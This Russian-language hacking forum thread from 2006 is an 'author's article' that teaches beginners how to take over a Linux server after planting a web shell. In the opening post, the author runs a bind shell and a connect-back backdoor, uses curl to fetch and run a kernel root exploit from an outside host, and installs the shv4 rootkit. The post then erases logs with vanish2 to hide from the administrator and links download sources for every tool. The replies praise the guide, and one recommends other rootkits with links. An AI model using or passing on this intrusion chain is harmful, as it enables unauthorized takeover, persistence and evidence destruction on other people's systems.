ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
Перезагрузить страницу R00t me №1
   
Ответ
Страница 1 из 8 1 2 3 4 5 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

R00t me №1
  #1  
Старый 12.04.2006, 19:36
Аватар для Desr0w
Desr0w
Постоянный
Регистрация: 01.02.2006
Сообщений: 523
Провел на форуме:
1730553

Репутация: 319


Отправить сообщение для Desr0w с помощью ICQ
По умолчанию R00t me №1
Решил написать статейку для расширения кругозора новичков античата в целом.
Думаю, она многим понадобится и даст маленький толчок в дальнейшем развитии.
Статья предназначена для тех, кто уже умеет заливать веб-шелл и ознакомлен со всеми его прелестями...
Итак – мы залили шелл. Что же делать дальше?
Отдаём первую команду:
Код:
uname –a
Что же мы видим?
Linux nalog.com 2.4.20-8 #1 Thu Mar 13 17:54:28 EST 2003 i686 i686 i386 GNU/Linux
Ядро старо,как мир.Нашей задачей будет поднять свои привилегии до максимальных aka root.Описание взлома всех версий линуксов,фрях,ect описать не реально-так что в этой статье будем говорить исключительно о Linux 2.4.20-8.
Погнали)
Для начала проделаем следующие шаги:
1)
Код:
 cd /tmp
 mkdir logs
 cd logs
2)Cливаем: bind.pl
Код:
chmod +x bind.pl
perl bind.pl
Запускаем: netcat –
Код:
nc sitename 32767
Где sitename -ваш сайт.
При открытии окна командуем: id.Работает?
Отлично)
Но межет и не работать если фаер фильтрует соединение(
Тогда скачиваем Connect-Back Backdoor (bd.c)
Код:
chmod +x bd.c
gcc db.c –o bd
После чего ставим netcat на прослушку 4000-ого порта:
Код:
-l –p 4000
И запускаем бекдор:
Код:
./db 127.0.0.1
–
Где 127.0.0.1 ваш реальный ip.
И вот в окошке появилась надпись - Connected to CommandLine...
Приступим к решительным действиям:
Скачиваем сплойт для этой версии ядра-вполне должен подойти mremap_pte,но я советую воспользоваться xpl_brk ,т.к он меня редко подводил.
Скачиваем уже cкомпилированный сплойт:
Код:
curl  http://xpl.netmisphere2.com/xpl_brk 
chmod +x  xpl_brk
./ xpl_brk
id 
uid=0(root) gid=0(root)
Отлично.Мы добись того чего хотели,но это только пол дела.

Надо закрепиться в системе для этого скачиваем руткит-возьмём shv4
Код:
curl http://splo1t.narod.ru/rootkits/shv4.tar.gz
tar xzf shv4.tar.gz
cd shv4
chmod +x setup
./setup pass  4321
*где pass(пароль) и 4321(порт) ваши значения. Во избежание проблем не советую вешать на высокий порт.
Заходит в putty указываем сайт, порт и конектимся.
Имя root,а пароль тот что вы указали при настройке. В моём случае это pass.
Зашли?
Выполняем команду:
Код:
nestat -an
Как видите заданный порт не где не светится,а значит мы освободили себя от зоркого глаза админа
Осталось, почистить логи.
Скачиваем один из лучших клинеров под *nix -vanish2
Код:
chmod +x vanish2.
Собираем
Код:
 gcc vanish2.c –o vanish
Запускаем:
Код:
./vanish root name_site 127.0.0.1
*Где 127.0.0.1 ваш реальный ip.
Видим надпись:
V_A_N_I_S_H_E_D_! Которая не может не радовать глаз.
_ _ _ _ _ _ _ _ _ _ _ _ _ _
На этом моя статейка кончается-надеюсь она поможет новичкам...
Ссылки:
r57Shell: http://hcr.3dn.ru/expl/php/r57shell.txt
Netcat:http://pro-hack.ru/download/s_nettools_2.html
bind.pl: http://nsd.ru/soft/1/ano/bind.pl.txt
Connect-Back Backdoor: http://desrow.narod.ru/www/bd.rar
xpl_brk: http://desrow.narod.ru/exploits/xpl_brk.rar
shv4: http://desrow.narod.ru/rootkits/shv4_.rar
Putty: http://pro-hack.ru/download/s_nettools_4.html
vanish2: http://nsd.ru/soft/1/anonimus/vanish2.tgz
For any link pass:antichat
=====[ Desr0w | | 12.04.2006 ]=====
Последний раз редактировалось Desr0w; 02.08.2008 в 17:14..
 
Ответить с цитированием

  #2  
Старый 12.04.2006, 19:43
Аватар для Mobile
Mobile
Регистрация: 18.02.2006
Сообщений: 1,090
Провел на форуме:
6489333

Репутация: 1564


Отправить сообщение для Mobile с помощью ICQ
По умолчанию
Молодец, хорошая статья.
 
Ответить с цитированием

  #3  
Старый 12.04.2006, 19:58
Аватар для vectorg
vectorg
Постоянный
Регистрация: 07.08.2005
Сообщений: 386
Провел на форуме:
3212607

Репутация: 454
По умолчанию
ну так, опять ничего особенного
для новичков пойдёт, но надо было бы расписать значение набранных команд...
+ всё же поставлю...
 
Ответить с цитированием

  #4  
Старый 12.04.2006, 20:00
Аватар для limpompo
limpompo
Друг Клитора
Регистрация: 27.08.2005
Сообщений: 1,662
Провел на форуме:
6913553

Репутация: 1329


По умолчанию
Как раз для новичков =) Нормуль!
 
Ответить с цитированием

  #5  
Старый 12.04.2006, 20:37
Аватар для +toxa+
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379

Репутация: 3812


Отправить сообщение для +toxa+ с помощью ICQ Отправить сообщение для +toxa+ с помощью AIM
По умолчанию
Хорошая статья.... кста, в Nfm уже сразу сплойты есть.... скачиваются сразу скомпиленными.....
__________________
 
Ответить с цитированием

  #6  
Старый 12.04.2006, 20:51
Аватар для evil_packman
evil_packman
Новичок
Регистрация: 17.02.2006
Сообщений: 10
Провел на форуме:
19498

Репутация: 0
По умолчанию
хмм статья конечно для новечков ничего, тока вот shv4 или 5 ставить не советую, так как он палит порт и легго пропаливается нмапом при сканировании.
советую лучше suckit http://packetstormsecurity.org/UNIX/...sk-1.3a.tar.gz
тока собирается он не всегда.
или adore если есть шелл доступ http://www.eviltime.com/download_id.php?id=147

или смотрим руткиты на этой паге http://www.eviltime.com/download.php...bpage=rootkits
Последний раз редактировалось evil_packman; 12.04.2006 в 20:54..
 
Ответить с цитированием

  #7  
Старый 12.04.2006, 20:58
Аватар для +toxa+
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379

Репутация: 3812


Отправить сообщение для +toxa+ с помощью ICQ Отправить сообщение для +toxa+ с помощью AIM
По умолчанию
А почему бы не сразу СЮДА?))
__________________
 
Ответить с цитированием

  #8  
Старый 12.04.2006, 21:04
Аватар для Desr0w
Desr0w
Постоянный
Регистрация: 01.02.2006
Сообщений: 523
Провел на форуме:
1730553

Репутация: 319


Отправить сообщение для Desr0w с помощью ICQ
По умолчанию
Цитата:
Сообщение от VectorG  
ну так, опять ничего особенного
для новичков пойдёт, но надо было бы расписать значение набранных команд...
+ всё же поставлю...
Ну я ж сказал для тех кто умеет юзать хотя бы веб-шелл.По идеи они должны знать эти команды.
Ну мне не сложно:
pwd
Эта команда выводит на экран полный путь к текущему каталогу.
В любой момент можно узнать где вы находитесь.


ls
Команда ls выводит список файлов и подкаталога.
По умолчанию файлы начинающиеся с точки (.) скрываются.
Чтобы их увидеть надо добавить ключ -a:
ls -a
Для полной инфы от папках и файлах и ссылках:
ls -al
Хотим просмотреть файлы в других дирах:
Код:
ls -al /tmp

cd
команда позволяет сменить текщий каталог:
Код:
cd /tmp/bbb
и вы уже в папке bbb
например в каталоге bbb есть подкаталог bb-перейдём в него.
Код:
cd bb
Если нужно переместится на каталог выше:
Код:
cd ..
mkdir
Создание директории.
Например:
Код:
mkdir antichat
rm
Удаление файлов.
Для удаления директорий нужны след. ключи:
-d -- удалить директорию.
-r -- удалять содержимое директорий.
-f --не спрашивать подтверждение на удаление.
Код:
rm -rf /tmp/bbb/antichat
- так мы удалим дирикторию antichat.

tar
В никсах нет винрара
Архивы поставляются в виде tar.gz
Разархивируем:
Код:
tar xzvf namefile.tar.gz
which
Команда предназначена для того,чтобы узнать каталог в котором находится программа.
Мы например узнаём какая качалка стоит на серве.
Пример:
Код:
which ls  
/usr/bin/ls
Ну вот вроде все команды использованные в статье.
А..И еще немного о качалках:
Самая распространенная -wget
есть еще:
curl
fetch
lynx
links
GET

зы:
uname -a
показывает версию системы и еще кое что.

id -показывает ваши права.

hostname
показывает имя сайта.
есть ключ -i
Код:
hostname -i
покажет ip данного сайта.
The end.
Последний раз редактировалось Desr0w; 02.08.2008 в 17:02..
 
Ответить с цитированием

  #9  
Старый 12.04.2006, 21:34
Аватар для Desr0w
Desr0w
Постоянный
Регистрация: 01.02.2006
Сообщений: 523
Провел на форуме:
1730553

Репутация: 319


Отправить сообщение для Desr0w с помощью ICQ
По умолчанию
Описание руткитов:тут
 
Ответить с цитированием

  #10  
Старый 12.04.2006, 23:11
Аватар для KEZ
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме:
1941233

Репутация: 2726


По умолчанию
неплохо молодец
Последний раз редактировалось KEZ; 13.04.2006 в 04:33..
 
Ответить с цитированием
Ответ
Страница 1 из 8 1 2 3 4 5 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Делаю аваторы на заказ.На халяву! Sn_key Болталка 308 05.09.2005 12:11



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ